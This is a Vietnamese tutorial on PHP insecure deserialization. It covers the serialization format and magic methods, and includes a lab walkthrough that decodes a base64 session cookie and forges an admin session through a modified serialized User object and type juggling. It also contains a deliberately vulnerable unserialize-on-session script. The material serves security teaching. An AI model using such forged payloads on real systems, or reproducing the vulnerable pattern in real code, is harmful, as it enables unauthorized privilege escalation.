+3

Insecure deserialization vulnerability - Các lỗ hổng Insecure deserialization (phần 2)

II. Lỗ hổng deserialization trong ngôn ngữ PHP

1. Hàm serialize()unserialize()

Trong ngôn ngữ PHP sử dụng hàm serialize() thực hiện serialize đối tượng. Xem ví dụ sau:

<?php
    class Person {
        public $name = "Tom";
        private $age = 18;
        protected $sex = "male";
        public function hello() {
            echo "hello";
        }
    }
    $example = new Person();
    $example_ser = serialize($example);
    echo $example_ser;

Lớp Person() gồm ba biến với các thuộc tính public, private, protected và hàm hello(). Kết quả sau khi thực hiện serialize biến $example:

O:6:"Person":3:{s:4:"name";s:3:"Tom";s:11:"Personage";i:18;s:6:"*sex";s:4:"male";}

Trong đó, lần lượt từ trái sang phải chúng ta có:

  • O chỉ Object (đối tượng thực hiện serialize).
  • 66 là độ dài tên đối tượng.
  • Person chỉ tên đối tượng thực hiện serialize.
  • Chúng ta tạm gọi một nhóm bao gồm 33 yếu tố như trên: O:6:"Person" và giữa các yếu tố ngăn cách bởi dấu :
  • 33 là số lượng thành phần trong đối tượng Person.
  • Tiếp theo trong cặp {} là từng nhóm cùng dạng với O:6:"Person" chỉ các tên biến và giá trị biến được ngăn cách bởi ;
  • s chỉ biến dạng chuỗi, theo sau là số lượng ký tự chuỗi đó.
  • i chỉ chữ số, theo sau là giá trị biến chữ số.

Khoan ... các bạn có để ý rằng các nhóm s:11:"Personage"s:6:"*sex" có chút khác biệt không? Tại sao tên biến lại có thêm phần Person hay ký tự *, hoặc số lượng ký tự Personage99 nhưng kết quả lại hiển thị 1111?

image.png

Hãy bình tĩnh, thực chất điều này là do với mỗi phạm vi truy cập thì quy ước cách hiển thị của chúng khác nhau:

  • public: không thay đổi.
  • private: Có thêm các ký tự NULL, với định dạng: %00 + tên Object + %00 + tên thuộc tính
  • protected: Có định dạng: %00 + * + %00 + tên thuộc tính.

Có thể sử dụng hàm urlencode() để thấy rõ hơn:

image.png

Bởi vậy cần chú ý thêm ký tự %00 và số lượng ký tự trong quá trình chỉnh sửa các chuỗi serialize. Ngoài ra quá trình serialization không bao gồm các hàm.

Đối với deserialize, PHP sử dụng hàm unserialize(), ví dụ:

$example_unser = unserialize($example_ser);
var_dump($example_unser);

Kết quả:

image.png

2. Khai thác lỗ hổng Deserialization trong PHP - Thay đổi serialized objects

Các ứng dụng web thường xác thực vai trò người dùng dựa trên session. Kỹ thuật serialization cũng có thể được sử dụng làm một trong các bước mã hóa trong việc cài đặt session. Xét trường hợp lập trình viên kết hợp mã hóa base64 cùng kỹ thuật serialization như sau:

<?php

// Start the session
session_start();

// Define the User class
class User {
    public $username;
    public $admin;
}

// Check if the session exists and is valid
if (isset($_SESSION['user'])) {

    // Decode the serialized session data
    $session_data = unserialize(base64_decode($_SESSION['user']));

    // Check if the session data is valid
    if (is_object($session_data) && isset($session_data->username) && isset($session_data->admin)) {

        // Check if the user is an admin
        if ($session_data->admin) {
            echo "You are an admin!";
        } else {
            echo "You are not an admin.";
        }

    } else {
        echo "Invalid session data.";
    }

} else {
    echo "Session not found.";
}

Ứng dụng trên sau khi giải mã session sẽ dựa vào thuộc tính admin trong Do Base64 encode là một dạng mã hóa quen thuộc nên kẻ tấn công có thể dễ dàng giải mã session này, từ đó thay đổi cấu trúc session và đánh lừa server xác thực vai trò admin của mình. Chúng ta cùng phân tích bài lab Modifying serialized objects để hiểu cơ chế khai thác.

Sau khi đăng nhập, chú ý tới session:

image.png

Dự đoán session chứa một bước mã hóa bằng URL encode do có dấu hiệu urlencode('=') = %3d kết thúc ở cuối session. Thông thường, mã hóa base64 thường kết thúc bằng ký tự =, nên có thể dự đoán bước mã hóa tiếp theo server sử dụng là base64 encode. Thực hiện giải mã:

image.png

Chúng ta thu được chuỗi có nội dung rõ hơn:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}

Từ đây biết rằng server sử dụng kỹ thuật serialization để mã hóa session, lớp User() có dạng:

class User {
    public $username;
    public $admin;
}

Giá trị boolean 0 trong session được sử dụng để xác thực vai trò admin của người dùng. Do đã biết các phương thức mã hóa, nên kẻ tấn công có thể thay đổi tùy ý giá trị này nhằm đánh lừa server. Trong bài lab phần xử lý backend server còn chứa lỗi type juggling. Chẳng hạn một số cách bypass:

  • Đổi giá trị boolean thành 11 hoặc true:
$user = new User();
$user->username = "wiener";
$user->admin = 1;
// $user->admin = true;
  • Đổi kiểu boolean thành string:
$user = new User();
$user->username = "wiener";
$user->admin = "abc";

Mã hóa lại theo các thuật toán, bypass thành công với quyền administrator:

class User {
    public $username;
    public $admin;
}

$user = new User();
$user->username = "wiener";
$user->admin = "abc";
echo urlencode(base64_encode(serialize($user)));
// Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7czozOiJhYmMiO30%3D

image.png

Một bài lab tương tự các bạn có thể luyện tập Modifying serialized data types

3. Magic methods trong PHP

Theo https://www.php.net/:

Magic methods are special methods which override PHP's default's action when certain actions are performed on an object.

Các magic methods là các phương thức đặc biệt sử dụng với mục đích ghi đè các hành động thực hiện trên một đối tượng, và chúng bắt đầu bằng hai ký tự _. Trong phạm vi lỗ hổng Deserialization, chúng ta thường gặp các magic methods sau:

__construct()
__destruct()
__toString()
__sleep()
__wakeup()
...

__construct()

__construct() được sử dụng để khởi tạo một đối tượng. Phương thức này được gọi tự động ngay khi một đối tượng được tạo ra bằng từ khóa new. Ví dụ:

class Person {
    public $name;
    public function __construct($name) {
        $this->name = $name;
        echo "My name is $this->name";
    }
}

$person = new Person("Viblo");

image.png

__destruct()

Được sử dụng để xử lý các tác vụ cuối cùng trước khi một đối tượng bị hủy. Phương thức destruct() sẽ được tự động gọi khi một đối tượng của một lớp bị hủy hoặc giải phóng bộ nhớ. Ví dụ:

class Person {
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
    public function __destruct() {
        echo "function __destruct() is executed";
    }
}

$person = new Person("Viblo");
echo "program running\n";

image.png

__toString()

Khi một đối tượng được gọi hoặc sử dụng dưới vai trò là chuỗi (string), phương thức __toString() sẽ được thực thi. Lưu ý rằng method này luôn phải return một chuỗi.

class Person {
    public $name;
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }
    public function __toString() {
        return "function __toString() is executed";
    }
}

$person = new Person("John", 25);
echo $person;

Đối tượng $persion được thực thi dưới dạng chuỗi (sử dụng với echo) nên method __toString() được gọi.

image.png

__sleep()

Khi một đối tượng được serialize thành một chuỗi, tất cả các thuộc tính của đối tượng sẽ được lưu trữ. Tuy nhiên, trong trường hợp chúng ta muốn loại bỏ một số thuộc tính để giảm kích thước output hoặc bảo vệ thông tin private của đối tượng, phương thức sleep() sẽ được sử dụng để giải quyết vấn đề này. Điểu chúng ta cần chú ý là phương thức __sleep() sẽ được gọi trước khi thực hiện quá trình serialization. Ví dụ:

class Person {
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
    public function __sleep() {
        echo "function __sleep() is executed before serialize";
        return array();
    }
}

$person = new Person("Viblo");
echo "Preparing for serialization ...\n";
serialize($person);
echo "\nSerialization done";

image.png

__wakeup()

Khi một đối tượng được unserialize từ một chuỗi, tất cả các thuộc tính của đối tượng sẽ được khôi phục. Tuy nhiên, trong trường hợp chúng ta muốn kiểm soát quá trình khôi phục các thuộc tính của đối tượng để đảm bảo tính toàn vẹn, có thể sử dụng phương thức wakeup(). Điểu chúng ta cần chú ý là phương thức __wakeup() sẽ được gọi trước khi thực hiện quá trình deserialization. Ví dụ:

class Person {
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
    public function __wakeup() {
        echo "function __wakeup() is executed before deserialize";
        return array();
    }
}

$person = new Person("Viblo");
$ser = serialize($person);
echo "Preparing for deserialization ...\n";
unserialize($ser);
echo "\nDeserialization done";

image.png

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí